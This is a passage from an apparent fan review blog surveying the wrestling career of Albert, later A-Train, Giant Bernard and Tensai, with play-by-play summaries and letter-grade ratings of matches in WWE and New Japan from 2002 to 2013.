GO BACK TO THE OLD GUYS! Albert is the Hip Hop Hippo at the moment. Egads. They aren’t the Unamericans yet. And the Heat match was the APA vs. Billy and Chuck. Why can’t we see that instead? You know these reviews aren’t really as angry as they used to be. Granted that could be because these shows are far less insulting to my intelligence. They may be weaker shows but they’re competent at least which is more than a lot of shows give you.

Christian is European Champion at the time. Albert is the Hip Hop Hippo at this point. Take me now. And remember people: this guy was INTERCONTINENTAL CHAMPION. He was one of those guys that always seemed like was on the verge of a big push but it never happened. Lawler makes some bad jokes about potential names for the faces. He’s just making this more painful if that’s somehow possible. Wow it’s weird seeing Teddy Long as a worthless referee.

Far more used to him being a useless GM. Scotty and Test work the majority of this match for reasons that completely elude me. Oh look it’s Albert vs. Christian rather than Test vs. Albert, as in you know, FORMER TAG PARTNERS FIGHTING. I guess that would make too much sense. We get a Giant Swing and a Don Leo Jonathan reference. Wow indeed. Albert just massacres both heels.

With some tweeking to his gimmick, he could have been passable. And now Christian does the Worm. We get a surprisingly decent sequence as Scotty is down. And of course we get the Worm. These kinds of moves are just stupid. A simple bulldog keeps Test down for about 20 seconds which it takes for the setup for it? See why that’s idiotic? Baldo Bomb, a two handed chokeslam into a powerbomb, ends it. It actually got a pop.

Rating: D. Just…why? What in the world was the point of having this match on PPV? This was something that belonged on Velocity or Heat or something like that. It was as generic as you could ask a match to be also. This was just a head scratcher and not that good, especially on a pay per view.

Albert spent a lot of time on the low level weekend shows in 2002. We’ll pick things up at Armageddon 2002 with Albert now known as A-Train.

Edge vs. A-Train

A-Train is freshly renamed here. I think this is Survivor Series fallout. Oh never mind. Actually it was an attack on Smackdown as A-Train is trying to get noticed I guess. Edge has a torn MCL which doesn’t need surgery. A-Train also injured Rey and put him out so this is also a revenge match. Train takes over with power to start but gets sent into the post shoulder first. Edge goes for the knee of course but you can’t do everything right I guess.

Train gets a powerslam for two and the power beating is on. Off to the chinlock as I guess three minutes of action was too much for Train. Edge hammers him into the corner but can’t get very far with it. After a near fall Edge hits a pretty cool move with a spinning Edge-O-Matic off the middle rope. Something off the top jumps into a bicycle kick so Train goes for a chair. That fails and a top rope cross body gets two. Chokebomb gets two. Train grabs the chair again but a spear hits him, surprisingly only for two. And never mind as a chair to the bad knee of Edge ends this in a DQ.

Rating: D+. WWE was in a weird place here as the Smackdowns were incredibly and were giving up 10-15 minute awesome matches so they had to have matches like these somewhere. Pretty much nothing here as Train was awful as usual and Edge was good but not a miracle worker. The ending sucked too.

A-Train would hook up with Big Show to try and end Undertaker’s Streak at Wrestlemania XIX.

Undertaker vs. A-Train/Big Show

Taker avoids a sneak attack to start and hits a quick chokeslam on A-Train for two. Big Show pulls him to the floor though and will be starting it seems. Taker has to fight out of the wrong corner and it’s quickly off to A-Train. The dead man busts out a LEAPFROG of all things before taking A-Train down with a back elbow. Old School hits but Taker has to punch Big Show instead of covering.

The Derailer (chokebomb) puts Taker down and Big Show rams him into the post for good measure. Back in and A-Train hits a slingshot into the middle rope for two. Big Show comes in again and all Taker can do is throw desperate right hands. A Big Show chokeslam is countered into a Fujiwara Armbar of all things but A-Train comes in to break it up. Taker throws him in a cross armbreaker but Big Show legdrops him to take control.

Off to an abdominal stretch by Big Show to slow things down a bit. A-Train adds in some cheating before coming in for an abdominal stretch of his own. Now Taker counters into one of his own to complete the set (You can own them all!), only to have A-Train hip toss his way out of it. A-Train clotheslines him down and talks some LOUD trash before Taker comes back with right hands. A running DDT gets two for Taker but it’s back to Big Show.

Taker is like screw this defense stuff and pounds away on Big Show in the corner before running across the ring over and over for clotheslines to both guys. The jumping clothesline puts Show down but a bicycle kick from A-Train puts him down all over again. There’s a Big Show chokeslam but here’s Nathan Jones in the aisle to knock out Big Show with a spin kick. Jones come in and kicks A-Train down, setting up the Tombstone to continue the Streak.

Rating: C. Another not bad match here with Taker doing what he could with two guys this size. It was kind of slow, but there’s only so much you can do with this kind of a clash of styles and no partner for the Dead Man. While definitely not memorable or anything, it did well enough at what it was supposed to do, bad musical number aside.

We’ll wrap up the first WWE run at No Mercy 2003.

A-Train vs. Chris Benoit

A-Train got probably the biggest push of his career at this point as he was in the midcard. This would more or less be the last part of said push. Tazz: “They love pierced nipples in Denmark.” Benoit tries to go for the knee but A-Train runs him over with the power. Train throws him to the floor again and Benoit isn’t sure what to do with him. A-Train takes over again and pounds him down, hitting a splash for two.

We talk about Stu Hart dying three days before this as A-Train stomps away even more. Cole praises him as he always does while Train pounds on Benoit’s neck in the corner. He hits that slingshot into the middle rope move he used most of the time to further work on Benoit’s neck. Train loads up a Pedigree grip but lifts Benoit into the air and drives Benoit’s head into his knee, getting two and a busted mouth for the Wolverine.

Benoit fires back but Train rams him down with a double ax to the chest. Off to a bow and arrow hold but Benoit speeds things up and hits a DDT to slow the Train down. In a big change of pace, the American hits a German on the Canadian to put him down. A-Train goes to the floor and pulls in a chair. Train tries something on Benoit but Benoit tries to slide down into a sunset flip. Instead, Benoit falls and lands ON HIS HEAD on the chair. FREAKING OW MAN!!!

Benoit grabs the Crossface but A-Train counters. Instead it’s Rolling Germans time but A-Train gets up and slams him off the top to counter the Swan Dive. The bald one mocks the Benoit throat slit signal and looks to go up. He realizes how crazy that would be and comes down for a Derailer (chokebomb) instead. That only gets two so he loads up the bicycle kick. He kicks through the chair in the corner though, making Benoit dragon screw him and the Sharpshooter gets the tap.

Rating: C. This was better than I would have expected, but then again it’s Benoit against a big monster. That’s probably what he’s second best at and it worked well here. A-Train wouldn’t mean anything after this and after Benoit took everything he had, I can’t say I disagree with that. Decent match but I’m not sure it belonged on PPV.

A-Train would head to Japan in 2005 and call himself Giant Bernard. We’ll pick things up in NJPW on May 3, 2006.

IWGP World Title: Brock Lesnar vs. Giant Bernard

Brock is defending and is wearing red for some reason. Bernard powers him into the corner but gets caught in a headlock for his efforts. They stare each other down and Bernard takes Brock’s head off with a clothesline. Another one puts the champion on the floor but he sends Bernard face first into the post. Back in and Brock stomps away but Bernard takes him down and drives in forearms to the head.

Lesnar works on a Fujiwara Armbar before muscling him over in a belly to belly. Brock follows him to the floor but gets knocked off the apron coming back in. Back in and Brock puts on the armbar again before driving pounding with forearms in the corner. Bernard comes back with some shoulders to the ribs and a Baldo Bomb for two. A big boot drops Lesnar again and a Vader Bomb gets two. The F5 is countered and Bernard nails a German suplex for two. Brock is all like, THIS IS HOW YOU DO A GERMAN and even plants Bernard with a DDT. They slug it out and Lesnar muscles him up for the F5 to retain.

Rating: C. Nice power brawl here but Bernard wasn’t much better than he was over in America. This was an awkward period for Lesnar as he didn’t look as dominant as he did in WWE and wasn’t the superstar he would become later. He looked decent but it didn’t have anywhere near the fire that he was known for.

Here’s another big Japan match from February 15, 2009.

Giant Bernard vs. Kurt Angle

Bernard throws him down to start so Angle tries right hands to the jaw. That earns him another shove to the floor so Angle can have a breather. Back in and he kicks at Bernard’s knee but gets throw right back across the ring. Bernard chokes a lot and Bernard’s partner Tomko trips Angle up. Someone that looks like Karl Anderson chases Tomko off and they head back out to the floor so Angle can be sent into the barricade.

Back in and a delayed vertical suplex gets two for Bernard and we hit the choking again. Angle gets thrown to the mat one more time and a splash gets two. Bernard hooks a bodyscissors on Angle before choking even more. Kurt rolls to the apron and gets suplexed back in. We hit the bearhug for a bit before Bernard’s Vader Bomb hits knees. Angle rolls some Germans but walks into the Baldo Bomb for two.

Bernard kicks out of the ankle lock but gets caught in the Angle Slam for two. Angle misses the moonsault and another Baldo Bomb gets two. Back to the ankle lock but Chono and Anderson get in a fight on the floor for a distraction. Anderson comes in but accidentally kicks Bernard, allowing the Angle Slam and ankle lock to make Bernard tap.

Rating: C. This was basically a Bernard squash until the last few minutes. Angle was doing all his old favorites here and it was already getting old at this point. Bernard still doesn’t feel like anything interesting and more like the same guy he was in America but having longer matches. Not bad here but nothing great.

We’ll jump ahead a few years to another big match for Bernard, though this time as part of a tag team. From Wrestle Kingdom V on January 4, 2011.

IWGP Tag Titles: Beer Money vs. Bad Intentions vs. Muscle Orchestra

You know Beer Money. Muscle Orchestra is a pair of very big guys with big muscles, and Bad Intentions are the champions and are comprised of Karl Anderson, a member of the Anderson family allegedly, and Giant Bernard, more commonly known as Albert/A-Train. JB does the intros here. The Muscle Orchestra is Strong Man (why give him a fancy name I guess?) and Manabu Nakanishi. Strong Man is American so this one is easy.

Bad Intentions have guns with them. Well that’s certainly different. Both are Americans also. Beer Money jumps them as they get into the ring and the brawl is on early. Champions vs. Muscle Orchestra now as there are a lot of F Bombs being audibly dropped. Beer Money back in as the champions are down. Storm gets a Codebreaker to Strong Man and then an assisted plancha to the same guy.

Anderson gets a big tope con hilo to take out Storm and the other muscle guy. Bernard (called A-Train to help my memory) teases a dive but Nakanishi gets a press slam out of the corner on him. That was very impressive. I have no idea what the tagging rules are here. Both of Beer Money is in there at the same time and it seems to be ok. Storm chokes Anderson with the wrist tape to take over and be heel here.

Total dominance by the TNA guys here. Double suplex gets no cover and it’s time for BEER MONEY! In an awesome moment, A-Train gets up, shouts (and remember his big voice) a very bad word and kills them with a double clothesline. A big boot to Roode would work much better if it clearly didn’t miss by almost a foot. A splash to Storm gets two.

Train is killing it in there. He’s beating up Beer Money on his own. Double teaming takes him down though and Anderson has to make the save. Out of nowhere Nakanishi takes down Roode with a top rope dropkick. Strongmen vs. Beer Money now. The muscleheads seem to be the fan favorites here. The Muscle Orchestra (awesome name) gets matching Torture Racks on the champions.

German by the Japanese guys gets two as Storm saves. DWI on said Japanese guys gets two as Anderson saves. Another very bad word results in Train getting a double splash in the corner. Double team DDT by Beer Money takes down Anderson for two. It’s beer bottle time but Anderson ducks. Anderson gets a move that we completely don’t see but apparently he uses a Diamond Cutter at times so we’ll say it was that, to pin Roode to retain.

Rating: C. Another fun match, but we need to get to some meat here. The lack of tagging hurt it here as this was completely insane the entire time. It’s a fun match, but at times you want something more than two guys double teaming and then a save for 9 minutes. Still though, decent stuff but too much of an insane match for my taste.

It was back to WWE soon after this as Tensai, a guy who used to wrestle in Japan. He was off to a hot start though, including this match on Raw, April 16, 2012.

John Cena vs. ???

It’s Lord Tensai and this is Extreme Rules. Cena grabs a quick suplex but Tensai beats him up. Cena’s shorts look a little shorter here. A corner splash puts Cena on the floor and Tensai puts him into the steps. A powerbomb on the floor is countered and Cena gets the steps. Tensai’s dude drills Cena with kicks and Otunga throws him back in. Butterfly suplex gets two.

Tensai hooks a nerve hold but Cena fights back. Cena hits his usual stuff but when he loads up the Shuffle, Tensai pops up and chops Cena down. Backsplash gets two. Tensai drops a leg on the arm and puts on a Fujiwara Armbar. Sweet goodness there’s some crank on that thing. Cena rolls through into a crossface (called the STF by Cole) and Otunga runs in. There’s an AA for him but Cena walks into green mist and a Baldo Bomb for the pin at 7:00.

Rating: D+. At the end of the day, he’s Albert in red trunks. That doesn’t make him interesting or anything like that. It makes him slow and not someone that I want to watch. I don’t see the logic in having Cena lose AGAIN before a major showdown with Brock, but to be fair he can lose a few matches and not lose any credibility.

And this one on May 7, 2012.

CM Punk vs. Lord Tensai/Daniel Bryan

No entrances for the heels to save some time. Tensai starts off and uses the power to put Punk down. Off to Bryan who gets a reaction from the crowd. He fires off the kicks to the chest and shouts YES on each one. Punk escapes a suplex and rolls him up for two. They cross body each other and both guys are down. Tensai comes in for more power and they head to the floor with Punk’s back going into the post.

Back in now and it’s time for a Japanese nerve hold. Backsplash gets two and it’s off to Bryan but the Swan Dive misses. Bryan reaches for a tag but gets caught in a slingshot. Punk makes what I guess you can call a comeback with a neckbreaker. The knee and bulldog combination actually works and it’s GTS time. Bryan escapes and tags in Tensai who clotheslines Punk’s head off very slowly. GTS to Tensai is countered but Punk manages the high kick. Tensai’s dude gets up for a distraction and Bryan crotches Punk. The chokebomb is totally messed up and the Mist Claw with the legsweep gets the pin at 6:54.

Rating: C. Tensai is boring and that’s all there is to it. The guy just isn’t an interesting wrestler and no matter how Japanese they make him it’s not going to happen. He’s big and slow with a bad finisher in the claw. Use the chokebomb (if you can do it right) and be a monster like you look like. Punk vs. Bryan is going to be good.

That would be about it for Tensai meaning anything so we’ll pick stuff up on Raw, April 22, 2013.

Tensai vs. Cody Rhodes

Tensai throws Cody around to start and drops him with a right hand to the face. A delayed double underhook suplex gets two for Tensai but Cody comes back with a neckbreaker and a front facelock. The Disaster Kick gets two and it’s back to the front facelock for a bit. Tensai fights back and pounds away before hitting the rolling cannonball attack in the corner. Sandow gets on the apron for a distraction but gets crushed by Brodus. A Baldo Bomb puts Cody down and the running backsplash gets the pin at 3:34.

Rating: D. This just kept going and going with nothing interesting at all. Again, the feud was over weeks ago but it’s an England show tonight so we need to backtrack by about a month to make sure we don’t have anything new going on. The match was bad on top of the story being old.

One more match with Tensai fighting a dancer. From Smackdown, December 21, 2013.

Brodus Clay vs. Tensai

Tensai takes him into the corner and drives shoulders into Brodus’ ample gut. A clothesline drops Clay but he avoids the backsplash. Clay hits a pair of splashes in the corner and a running splash gets two. Another splash gets no cover and Brodus does the dinosaur claws dance. Cue the Funkadactyls with Xavier Woods for the distraction and, say it with me, Tensai rolls Brodus up for the pin at 1:45. I have no idea how this is supposed to help either guy but I’m sure it will be explained to me later.

Overall Albert is a talented guy but he really isn’t anything more than a good enforcer. I had a feeling that all this hype about him being great in Japan wasn’t going to hold up and that’s exactly what happened. He’s fine as the power half of a tag team and that’s been where he’s had his greatest success. Other than that he’s just a big, slow power guy with a good look. He certainly isn’t bad or anything like that but there’s nothing that makes me want to see more of him.

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